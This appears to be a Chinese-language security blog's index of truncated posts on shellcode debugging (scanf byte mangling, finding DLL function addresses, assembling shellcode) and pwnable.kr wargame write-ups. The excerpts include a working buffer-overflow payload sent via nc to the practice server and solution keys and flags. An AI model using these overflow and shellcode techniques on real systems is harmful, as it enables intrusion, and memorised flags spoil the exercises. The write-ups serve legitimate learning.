scanf/fscanf/vscanf 在调shellcode的时候的问题

今天在调shellcode的时候遇到了一个小问题,shellcode的逻辑功能没有任何问题,但是用的时候无法执行。在OD里面调的时候发现,shellcode的后半段变成了cccc… 于是分析了下代码,发现是shellcode中有个bit是0b,然后在读取完之后变成了00cccc char password[1024]; FILE * fp; if(!(fp=fopen(“password.txt”,”rw+”))) { printf(“test\n”); exit(0); } fscanf(fp,”%s”,password); 后面password会导致溢出 shellcode从password.txt中传入,最后发现是fscanf的问题导致的 上网看了下fscanf的源码发现和scanf一样都是调用vscanf,然后当以“%s”读取字符串的时候会把某些字符解析成了有含义的符号: Hex Dec Ctrl Name 0x09 9 ^I Tab 0x0A 10 ^J Line Feed 0x0B 11 ^K Verticle Feed 0x0C 12 ^L Form Feed 0x0D 13 ^M Carriage Return 0x1A 26 ^Z End of File 0x20 32 Space 神奇的发现读取“00”的时候并没有问题,然后出了%s,其他几个格式化字符: %d — […]

windows下获取dll中函数地址的方法

在windows下面调试shellcode的时候需要查找一些函数的地址,这里总结下可以用的方法: 1、微软的depents工具: http://www.dependencywalker.com/ 这个在xp上应该没问题 但是在64位win7之后的系统会报错,github上有人写了新的工具解决了这个问题(https://github.com/lucasg/Dependencies) 但是我这个软件读出来的地址不是正确的函数地址,具体原因未知,待测试   2、在调试的时候直接在OD中查找函数地址 使用ctrl+G 直接搜索函数名,如果有该函数会直接跳转到函数对应的地址上 这里可能会有几个问题: 1、ctrl+G 要在loadDLL之后执行,不然没有加载dll,会找不到对应函数 2、win7之后启用ASLR,每次的地址会随机加载(dll的基址随机)————>目前还没遇到这个问题   3、把需要使用的api函数写个简单的c++程序,然后调试获取到最终函数的调用地址   随时更新

从汇编生成shellcode的n种方法

第一种,添加asm代码到c中,然后gcc编译生成可执行代码,最后objdump: void main() { asm{ … } } 太麻烦,这里就不详细介绍了,基本上包含在第二种方法中   第二种,直接用NASM或者GAS生成elf文件,然后objdump: nasm -f elf print.asm ld -m elf_i386 -o print print.asm as test.asm -o test.o ld test.asm -o test objdump生成shellcode: objdump -d print2 | grep “^ ” | cut -d$’\t’ -f 2 | tr ‘\n’ ‘ ‘ | sed -e ‘s/ *$//’ | sed -e […]

pwnable.kr-input

题目描述: Mom? how can I pass my input to a computer program? ssh [email protected] -p2222 (pw:guest) 连接上ssh后,input.c的源码如下: 这题代码显而易见并没有需要溢出的地方,这里考察的是unix下的数据传输,我们分别看下5个stage。 Stage1 需要通过argv传递参数,由于这里需要满足argv[‘A’]=”\x00″ argv[‘B’]=”\x20\x0a\x0d”,这些都是不可见字符,并且是空字符以及回车换行符,所以这里不能够使用python通过命令行传递参数,这里使用C语言编写程序,通过子进程的方法调用input程序进行传参 Stage2 这里我们又遇到read函数了,在pwnable.kr的第一题中就涉及到:pwnable.kr-fd 当fd为0时,为stdin ,fd为1时,为stdout,fd为2时,为stderr, 所以这里我们使用fork创建子进程,pipe进行管道传输,具体见下面的代码 Stage3 stage3使用env传递参数,env是标准main函数三个参数中的一个,它的值是系统环境变量,默认是不需要填写的。这里我们需要通过设定env=”\xde\xad\xbe\xef=\xca\xfe\xba\xbe” ,然后通过execve(“/root/Desktop/input”, argv, env);进行传递 Stage4 需要在文件名为”\x0a“的文件中读取字符,判断是否为”\x00\x00\x00\x00″,这里直接把源代码中的读取文件改成写文件就可以了: Stage5 socket编程,同样和4一样,只要把接受改成发送就可以了,这里需要注意的是socket的端口是通过argv[‘C’]来控制的,所以我们需要设置好argv[‘C’],然后在执行第五部之前需要有一个延时,因为这里我们需要时间完成第四部不同进程间的通信: 所以最后的代码为: 这里不要忘了添加文件头,然后我们把代码放到pwnable.kr服务器上的/tmp/input目录,由于目录下并没有flag,我们执行ln /home/input/flag flag,把flag重定向到当前目录下,最后编译运行得到flag: Just give me correct inputs then you will get the flag 🙂 Stage 1 clear! Stage […]

pwnable.kr-random

题目描述: Daddy, teach me how to use random value in programming! ssh [email protected] -p2222 (pw:guest) 其中random.c的代码为: 代码很简单,一开始以为是需要通过key溢出覆盖random的值,结果经过调试发现每次random()生成的数值是固定的,因为在本题的代码中并没有制定随机数种子(seed),导致每次生成的第一个数都是固定的。 第一个数为:0x6b8b456,最后的结果要求是(key ^ random) == 0xdeadbeef, 所以key的值应该为:0xdeadbeef^0x6b8b4567=3039230856 输入之后,获得flag: [email protected]:~$ ./random 3039230856 Good! Mommy, I thought libc random is unpredictable… 所以flag为: Mommy, I thought libc random is unpredictable…

pwnable.kr-passcode

依然是题目描述: Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh [email protected] -p2222 (pw:guest) 连上后,目录下有c源码和可执行文件, 首先查看下程序开了那些防护措施: gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial 这里开启了canary,所以我们只能够利用一次任意内存写的功能,无法通过写入shellcode […]

pwnable.kr-bof

首先还是题目描述: Nana told me that buffer overflow is one of the most common software vulnerability. Is that true? Download : http://pwnable.kr/bin/bof Download : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000 给了c的源文件还有编译好的elf文件,c源码为: 很明显,根据注释,在gets函数的地方进行栈溢出,将key的数值覆盖为0xcafebabe,那么接下来需要计算出key和overflowme的地址差。一开始看到提供的elf文件,我觉得没有用,因为给了c源码,完全可以自己编译。现在知道编译完成后,变量的地址已经相对固定了。我们用IDA打开elf文件,看到key的地址为[bp+8h],overflowme的地址为[bp-2Ch],两者相差了8h+2Ch=52,所以我们用52个字符填充就可以了,其后用cafebabe进行填充。最后的payload为: (python -c “print ‘a’*52 + ‘\xbe\xba\xfe\xca’”;cat -) | nc pwnable.kr 9000 直接获取了shell,然后读取flag文件: ls -al total 16512 drwxr-x—  3 root bof      4096 Sep 10  […]

pwnable.kr-col

首先是题目描述: Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh [email protected] -p2222 (pw:guest) 看下文件: [email protected]:~$ ls -al total 32 drwxr-x—  4 root col  4096 Aug 20  2014 . dr-xr-xr-x 66 root root 4096 Jul  1 02:14 .. d———  2 root root 4096 Jun 12  2014 .bash_history -r-sr-x—  […]